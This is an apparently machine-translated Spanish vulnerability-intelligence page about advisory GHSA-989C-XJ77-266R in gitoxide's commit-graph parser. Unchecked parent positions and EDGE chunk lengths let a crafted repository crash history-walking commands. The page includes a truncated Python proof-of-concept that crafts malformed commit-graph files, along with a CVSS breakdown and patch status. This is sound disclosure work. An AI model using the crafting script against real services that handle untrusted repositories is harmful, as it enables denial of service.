llamaCVEVulnerability Intelligence
/
Advisory · GitHub · crates.io · gix-commitgraph

GHSA-989C-XJ77-266R

El analizador de commit-graph de gix confía en posiciones de padres y longitudes de fragmentos controladas por el atacante, por lo que los comandos que recorren el historial abortan el proceso en repositorios manipulados

Parche disponible
Descargar PNG JSON
CVSS 3.1
5.5
Media
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H Fuente: GitHub
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
Parche2 versionesPrimer parche el mismo día de la divulgación
Exposición30 dDesde la divulgación, 22 oct 2026, 9:01 a. m.
Detección27 dDesde la divulgación hasta su ingreso al índice
Decisión estimadaSeguir
Remediar en la ventana regular de mantenimiento
Estimación de Llama con el árbol SSVC de CISA a partir de vector CVSS 3.1 y la evidencia de explotación (sin evaluación oficial): sin explotación conocida, no automatizable e impacto técnico parcial. Hay versiones corregidas disponibles.
Calma e higiene de parches: mi fórmula secreta.Mi diagnóstico: un ticket y una sonrisa.
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Explotación
Remediación
Parche 0.42.0 +1
Monitoreo
Detectada +1
22 oct 26
18 nov 26
21 nov 26
22 oct 26
30 oct 26
6 nov 26
14 nov 26
21 nov 26
FechaFaseEventoDetalle
Divulgación Publicada GHSA-989C-XJ77-266R divulgada · CVSS 5.5 (GitHub)
Remediación Parche 0.42.0 gix-commitgraph · 0 d desde divulgación
Remediación Parche 0.61.0 gitoxide · 0 d desde divulgación
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Traducción automática · Ver original
Descripción del advisory
Traducción automática · GitHub
Resumen

Todas las evidencias, pasos de reproducción y scripts del informe se verificaron contra una instancia real en ejecución. Nada está fabricado ni es sintético; cada veredicto está respaldado por salidas capturadas de un despliegue real.

El lector de commit-graph incluido en gitoxide (el crate `gix-commitgraph`, que se lee por defecto cuando un repositorio contiene `.git/objects/info/commit-graph`) analiza el archivo sin validar los dos campos de tabla que sirven de índice: las posiciones de grafo de los padres, tomadas de las tablas de commits y de aristas, se envuelven en valores `Position` y se usan sin comprobación, y la longitud del fragmento de lista de aristas extendidas (EDGE) se acepta sin la verificación de alineación de 4 bytes que se aplica a todos los demás fragmentos. Ambas omisiones llevan directamente a llamadas `panic!`/`unwrap` en la capa de índice, de modo que un archivo commit-graph manipulado (datos de repositorio comunes que vienen con cualquier repositorio clonado o comprimido y que no requieren privilegios para colocarse) hace que todo comando `gix` que recorre el historial aborte el proceso completo. `gix merge-base` y `gix blame` terminaron con `panicked at gix-commitgraph/src/access.rs:88:9: graph position too large: 2147483647` (código de salida 101) y con un pánico por `unwrap` en `gix-commitgraph/src/file/commit.rs:27:37`, respectivamente. Esto se verificó con el binario oficial de la versión v0.60.0, mientras que Git upstream examinó los mismos archivos y, o bien falló con un error limpio de una línea (código de salida 128), o bien ignoró los datos de aristas malformados y listó el historial con normalidad (código de salida 0). Como el mismo lector respalda las APIs `Repository::merge_base` y de blame, una aplicación que integra gix para operar con repositorios no confiables pierde su proceso host de la misma manera, lo que convierte el fallo en una denegación de servicio confiable para todo consumidor de datos de repositorio suministrados por un atacante.

Detalles

El formato de archivo commit-graph almacena, por cada commit, las posiciones de grafo de sus padres. El lector de gix convierte esos campos crudos de 32 bits en identificadores de posición sin compararlos nunca con el número de commits que declara el archivo, y el lado consumidor indexa directamente la tabla de commits:

gix-commitgraph/src/file/commit.rs:141,151,187,189 (v0.60.0, idéntico en main 8dc7afdee)
    - Parents iterator wraps arbitrary CDAT/EDGE u32 values as Ok(Position), no < num_commits check
gix-revwalk/src/graph/commit.rs:14,99
    - consumer calls cache.commit_at(*pos) with the unchecked position
gix-commitgraph/src/access.rs:88
    - Graph::lookup_by_pos panics: "graph position too large: {}" on out-of-range positions

Una segunda longitud sin validar está en el cargador de la tabla de fragmentos: cuando se registra el fragmento de lista de aristas extendidas, su tamaño se pasa sin comprobación, a diferencia de los fragmentos OIDF, OIDL y CDAT, cuyos tamaños se validan como múltiplos exactos de la anchura de su registro:

gix-commitgraph/src/file/init.rs:136
    - EDGE chunk length taken with no alignment/width validation (other chunks are validated)
gix-commitgraph/src/file/commit.rs:26-28
    - read_u32 does try_into().unwrap(), a < 4-byte tail triggers TryFromSliceError
gix-commitgraph/src/file/commit.rs:161
    - the edge iterator walks the chunk in chunks(4), so a 4k+1 length yields a dangling 1-3 byte tail

Ambas rutas terminan en un pánico de Rust, que aborta el proceso. El lector está conectado a los comandos de historial predeterminados: `gix merge-base` carga el commit-graph (`gitoxide-core/src/repository/merge_base.rs:24-25`) y `gix blame` hace lo mismo (`gitoxide-core/src/repository/blame.rs:31`), con la lectura de commit-graph habilitada por defecto. Git upstream valida exactamente los campos que gix omite: rechaza una posición de padre fuera de rango con `fatal: invalid parent position` y tolera un puntero de arista malformado con una única línea `error:` antes de continuar; por tanto, la diferencia ante la misma entrada es un error limpio frente a un aborto del proceso. Como factor amplificador, el cargador solo comprueba la longitud del trailer del archivo y nunca verifica la suma de comprobación del commit-graph, de modo que los archivos modificados con un editor hexadecimal o con cualquier script se cargan sin obstáculos. La última versión etiquetada, v0.60.0 (2026-10-08), se verificó con el binario oficial de la release, y los fuentes de `gix-commitgraph` y `gix-revwalk` en main (8dc7afdee) son idénticos byte a byte a la etiqueta, salvo por los metadatos del cambio de versión, por lo que no existe una versión corregida publicada.

Prueba de concepto

La instancia es el binario oficial de la versión v0.60.0 `gitoxide-max` para x86_64-pc-windows-msvc, tomado de la página de releases de GitHub de gitoxide v0.60.0 (`gix` informa `gix v0.60.0`), ejecutado sobre un repositorio local de muestra simple de tres commits que siguen un único archivo `notes.txt`, creado y contrastado con Git for Windows 2.55.0.windows.4. No interviene ninguna configuración de repositorio no predeterminada, ya que gix lee `.git/objects/info/commit-graph` siempre que el archivo exista. El script de manipulación que aparece a continuación reescribe el commit-graph en su lugar; guárdelo junto al repositorio de muestra antes de ejecutar el bloque de comandos.

```bash
cat > ../craft_commitgraph.py <<'EOF'
#!/usr/bin/env python3
"""Craft a commit-graph file whose CDAT parent positions exceed num_commits.

Variant A ('position'): every non-root commit's parent1 becomes an
out-of-range graph position (0x7FFFFFFF). Applied in place.

Variant B ('shortedge'): rebuild the file with an added EDGE chunk whose
length is not a multiple of 4 (one full edge + a 1-byte dangling tail) and
point every non-root commit's parent2 at that edge index.
"""
import struct
import sys

SENTINEL = b"\x00\x00\x00\x00" # git's chunk-file TOC terminator (gix-chunk SENTINEL = [0u8; 4])

def parse(path):
data = open(path, "rb").read()
assert data[:4] == b"CGPH", "not a commit-graph file"
hash_ver = data[5]
hash_len = 32 if hash_ver == 2 else 20
chunk_count = data[6]
entries = []
for i in range(chunk_count):
e = 8 + 12 * i
kind = data[e:e + 4]
off = struct.unpack_from(">Q", data, e + 4)[0]
entries.append((kind, off))
sentinel_off = struct.unpack_from(">Q", data, 8 + 12 * chunk_count + 4)[0]
return data, hash_len, chunk_count, entries, sentinel_off

def fanout_commits(data, toc):
for kind, off in toc:
if kind == b"OIDF":
return struct.unpack_from(">I", data, off + 255 * 4)[0]
raise SystemExit("no OIDF chunk")

def variant_position(path):
data, hash_len, chunk_count, toc, _ = parse(path)
data = bytearray(data)
cdat = next(off for kind, off in toc if kind == b"CDAT")
entry_size = hash_len + 16
num_commits = fanout_commits(data, toc)
import os
print(f"[craft] hash_len={hash_len} chunks={chunk_count} num_commits={num_commits} CDAT@{cdat}")
patched = 0
for i in range(num_commits):
p1_off = cdat + i * entry_size + hash_len
p1 = struct.unpack_from(">I", data, p1_off)[0]
print(f"[craft] entry {i}: parent1=0x{p1:08x}")
if p1 != 0xFFFFFFFF:
struct.pack_into(">I", data, p1_off, 0x7FFFFFFF)
patched += 1
print(f"[craft] patched {patched} parent1 fields to out-of-range position 0x7FFFFFFF")
os.chmod(path, 0o644)
open(path, "wb").write(bytes(data))
print("[craft] wrote", path)

def variant_shortedge(path):
data, hash_len, chunk_count, toc, sentinel_off = parse(path)
data = bytearray(data)
body_len = sentinel_off # chunks span up to the sentinel offset
num_commits = fanout_commits(data, toc)
cdat = next(off for kind, off in toc if kind == b"CDAT")
entry_size = hash_len + 16

# order chunks by offset, compute their spans
ordered = sorted(toc, key=lambda ko: ko[1])
spans = []
for idx, (kind, off) in enumerate(ordered):
end = ordered[idx + 1][1] if idx + 1 < len(ordered) else body_len
spans.append((kind, off, end))

# EDGE content: one full 4-byte internal-edge record (no LAST mask, so the
# iterator continues) + a 1-byte dangling tail
edge_content = struct.pack(">I", 0) + b"\x41"

header = bytearray(data[:8])
header[6] = chunk_count + 1

def toc_size(n):
return 12 * (n + 1)

# layout: header | TOC | chunks... | EDGE | trailer
cursor = 8 + toc_size(chunk_count + 1)
new_toc = bytearray()
out_chunks = bytearray()
for kind, off, end in spans:
content = bytes(data[off:end])
new_toc += kind + struct.pack(">Q", cursor)
out_chunks += content
cursor += len(content)
new_toc += b"EDGE" + struct.pack(">Q", cursor)
cursor += len(edge_content)
new_toc += SENTINEL + struct.pack(">Q", cursor)

out = bytearray(header) + new_toc + out_chunks + edge_content + data[body_len:body_len + hash_len]

# point parent2 of every non-root commit at the extra-edge index 0
patched = 0
base = 8 + toc_size(chunk_count + 1)
# recompute CDAT offset in new file
cd_new = None
cur = base
for kind, off, end in spans:
if kind == b"CDAT":
cd_new =

Vector CVSS 3.1

Desglose de métricas

Opción resaltada = valor del vector · izquierda = peor caso · GitHub
Vector de ataqueAV:L
RedAdyacenteLocalFísica
ComplejidadAC:L
BajaAlta
PrivilegiosPR:N
NingunoBajosAltos
InteracciónUI:R
NingunaRequerida
AlcanceS:U
CambiadoSin cambio
ConfidencialidadC:N
AltoBajoNinguno
IntegridadI:N
AltoBajoNinguno
DisponibilidadA:H
AltoBajoNinguno
Score de explotaciónQué tan fácil y probable es que la exploten
6.4/ 10Medio
Vector 6.4 (fácil) · sin evidencia de explotación.
Versiones

Rangos afectados

Afectada Corregida Última
gix-commitgraph≤ 0.41.0
gitoxide≤ 0.60.0
0.41.0
0.42.0
0.60.0
0.61.0
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
crates.iogix-commitgraph
Corregida 0.42.0 0 d 0.42.0 no afectada
crates.iogitoxide
Corregida 0.61.0 0 d 0.61.0 no afectada
Versiones corregidas0.42.00.61.0
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://github.com/GitoxideLabs/gitoxide/security/advisories/GHSA-989c-xj77-266r

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.